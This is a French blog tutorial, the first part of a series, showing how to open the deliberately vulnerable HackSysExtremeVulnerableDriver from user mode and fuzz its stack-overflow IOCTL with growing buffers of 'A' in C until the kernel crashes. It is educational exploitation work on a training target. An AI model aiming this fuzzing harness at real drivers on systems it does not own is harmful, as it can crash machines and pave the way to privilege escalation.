Windows – [TUTO] Exploitation d’un driver vulnérable [1]

On a vu dans les précédents posts [1] [2] que depuis l’espace Kernel il est possible (sous certaines conditions) d’élever ses privilèges utilisateurs en modifiant son propre Access Token. Dans la démo c’était facile car on disposait d’une VM en mode debug Kernel et on avait le contrôle total de la VM utilisateur mais dans la vrai vie c’est différent. Il va falloir trouver un autre moyen de se retrouver dans l’espace Kernel depuis l’espace utilisateur. Et même si (par bonheur) on y arrive il va falloir faire la même chose que ce qu’on avait fait sous WinDbg [1] mais cette-fois en programmation.

Première étape (et non des moindres), passer de l’espace utilisateur à l’espace Kernel

C’est un vaste sujet et après réflexion je me suis dis que le plus simple est de montrer l’exploitation d’un driver volontairement vulnérable. Je m’explique. Comme vous le savez les drivers sont chargés dans l’espace Kernel donc si on tombe sur un driver un peu buggé et qu’on arrive à le faire planter via un débordement mémoire (un beau Stack Overflow) et à y exécuter notre propre code alors on aura atteint notre premier objectif. Parfait mais plutôt que de prendre un vrai driver du commerce vulnérable (on verra ça dans un prochain post), on va commencer plus simple, par un driver volontairement buggé dont on dispose du code source. Cela tombe bien y a un gars qui a fait ça, il est disponible ici : https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

Je vous passe les détails de l’installation du driver, interressons-nous directement à la programmation. Quel est notre objectif ? Charger le driver, faire quelques appels et si possible le faire planter. Pour charger le driver, cela paraît bête mais il faut connaître son nom, attention on ne parle pas du nom du fichier mais de son petit nom connu par le système. Y a plusieurs façon de le récupérer mais un moyen simple est d’utiliser un outil de Sysinternals bien connu, WinObj. Voici par exemple le nom du driver vulnérable que l’on cherche à charger :

On obtient le même résultat avec un autre outil, Dos Device Inspector :

Bon maintenant qu’on sait que le driver s’appelle HackSysExtremeVulnerableDriver il va falloir qu’on s’interesse aux IOCTL. Hein ? Ben oui il faut bien qu’on puisse interagir avec le driver, faire des appels pour qu’il fasse des choses, et bien cela passe justement par les IOCTL. En fait c’est simple. Côté driver, il y a un point d’entrée responsable de la réception des appels clients et du dispatch en fonction du code de contrôle envoyé par le client. C’est la fonction Windows DeviceIoControl qui nous permet de communiquer avec le driver, https://docs.microsoft.com/en-us/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol

Ok, on a compris qu’avec cette fonction on va pouvoir faire des appels au driver mais comment on sait quel « Control Code » on pourra envoyer au driver ? C’est là où ça se corse, dans la vrai vie on n’a pas accès au code source. Il faudra donc faire autrement via du reverse engineering, via un monitoring des appels, et j’en passe mais dans notre cas d’école c’est plus simple car on dispose du code source. Tous les codes de contrôle sont définis dans le fichier hevd_common.h, ils commencent à 0x800 et se terminent à 0x80D.

Avec le nom du driver et les codes de contrôle on a ce qui faut pour démarrer la programmation. On va charger le driver puis s’amuser à lui envoyer des chaînes de caractères de plus en longues pour finalement le faire planter (au passage ça s’appelle du fuzzing).

Vu qu’on sait que le driver est vulnérable, à un moment il va planter, mais comme on est dans l’espace Kernel on aura droit à un bel écran bleu. Le mieux est de repartir sur la plateforme vue dans le premier post avec les 2 VM, l’une étant le débugger et la seconde le debuggee. Ce n’est pas anodin, on aura accès à la mémoire, à la stack et aux registres AVANT le crash.

Ok, allons-y pour le code. Commençons par charger le driver. Je vous renvoie à la doc Microsoft https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-ms-dos-device-names qui dit ceci :

To access the DosDevices namespace from user mode, specify \\.\ when you open a file name. You can open a corresponding device in user mode by calling CreateFile().

OK mais comme on est en langage C et qu’il faut doubler les antislashs « \ » il faut coder quelque chose comme ceci :

HANDLE device = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
         GENERIC_READ | GENERIC_WRITE,
         NULL,
         NULL,
         OPEN_EXISTING,
         NULL,
         NULL
     );

Ok maintenant on va écrire la fonction qui envoie des buffers de données au driver. Comme dit plus haut on va utiliser la fonction DeviceIoControl. Regardons d’un peu plus près les paramètres de cette fonction, https://docs.microsoft.com/en-us/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol

 BOOL DeviceIoControl(
  HANDLE       hDevice,
  DWORD        dwIoControlCode,
  LPVOID       lpInBuffer,
  DWORD        nInBufferSize,
  LPVOID       lpOutBuffer,
  DWORD        nOutBufferSize,
  LPDWORD      lpBytesReturned,
  LPOVERLAPPED lpOverlapped
); 
  • hDevice : c’est facile, on passe le handle récupéré lors du chargement du driver
  • dwIoControlCode : c’est le code de contrôle à envoyer. On a vu que pour notre driver vulnérable ils démarrent à 0x800, prenons celui-là il correspond à HACKSYS_EVD_IOCTL_STACK_OVERFLOW ( hevd_common.h )
  • lpInBuffer : c’est le fameux buffer de données à envoyer au driver. Traditionnellement on envoie une longue chaîne de ‘A’ pour voir lors du plantage si on trouve bien plein de ‘A’ sur la stack et sur le registre d’instruction.
  • nInBufferSize : la taille du buffer d’entrée
  • lpOutBuffer : inutilisé dans notre exemple de fuzzing
  • nOutBufferSize : inutilisé dans notre exemple de fuzzing
  • lpBytesReturned : inutilisé dans notre exemple de fuzzing
  • lpOverlapped : inutilisé dans notre exemple de fuzzing

Bon on a tout ce qu’il faut pour écrire un code qui charge le driver et envoie un buffer remplit de ‘A’. Ce qui est intéressant c’est de faire varier la taille du buffer jusqu’au plantage. Bon sans plus tarder voici le code source. Plutôt que de réinventer la roue, je vous met le code de la déesse du reverse engineering, j’ai nommé hasherezade sans qui j’en saurai beaucoup moins sur les malwares, le kernel et un tas d’autres sujets, voila c’est dit.

Pour les pressés, la vidéo de démonstration est juste après le code source.

#include <stdio.h>
#include <windows.h>
#include "hevd_comm.h"
#include "util.h"

HANDLE open_device(const char* device_name)
{
    HANDLE device = CreateFileA(device_name,
        GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
    );
    return device;
}

void close_device(HANDLE device)
{
    CloseHandle(device);
}

BOOL send_ioctl(HANDLE device, DWORD ioctl_code, DWORD bufSize)
{
    //prepare input buffer:
    PUCHAR inBuffer = (PUCHAR) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);

    if (!inBuffer) {
        printf("[-] Alloc failed!\n");
        return FALSE;
    }
    //fill the buffer with some content:
    RtlFillMemory(inBuffer, bufSize, 'A');

    DWORD size_returned = 0;

    printf("Sending IOCTL: %#x\n", ioctl_code);
    BOOL is_ok = DeviceIoControl(device,
        ioctl_code,
        inBuffer,
        bufSize,
        NULL, //outBuffer -> None
        0, //outBuffer size -> 0
        &size_returned,
        NULL
    );
    //release the input bufffer:
    HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
    return is_ok;
}

int main(int argc, char *argv[])
{
    HANDLE dev = open_device(kDevName);
    if (dev == INVALID_HANDLE_VALUE) {
        printf("Cannot open the device! Is the HEVD installed?\n");
        system("pause");
        return -1;
    }
    printf("Device opened!\n");
    DWORD index = 0;
    print_info();

    while (true) {
        printf("Choose IOCTL index: ");
        scanf("%d", &index);
        DWORD ioctl_code = index_to_ioctl_code(index);
        if (ioctl_code == -1) {
            print_info();
            continue;
        }
        printf("Supply buffer size (hex): ");
        DWORD bufSize = 0;
        scanf("%X", &bufSize);
        BOOL status = send_ioctl(dev, ioctl_code, bufSize);
        printf("IOCTL returned status: %x\n", status);
        printf("***\n");
    }
    close_device(dev);
    system("pause");
    return 0;
}

Bon allons tester ce code et faisons crasher le driver. Plutôt qu’un long discours, voici une vidéo de démonstration avec des petits commentaires :

Ceci conclut la première partie de ce tuto. Nous verrons dans le prochain post comment exploiter le crash en codant un exploit qui nous donnera les privilèges système.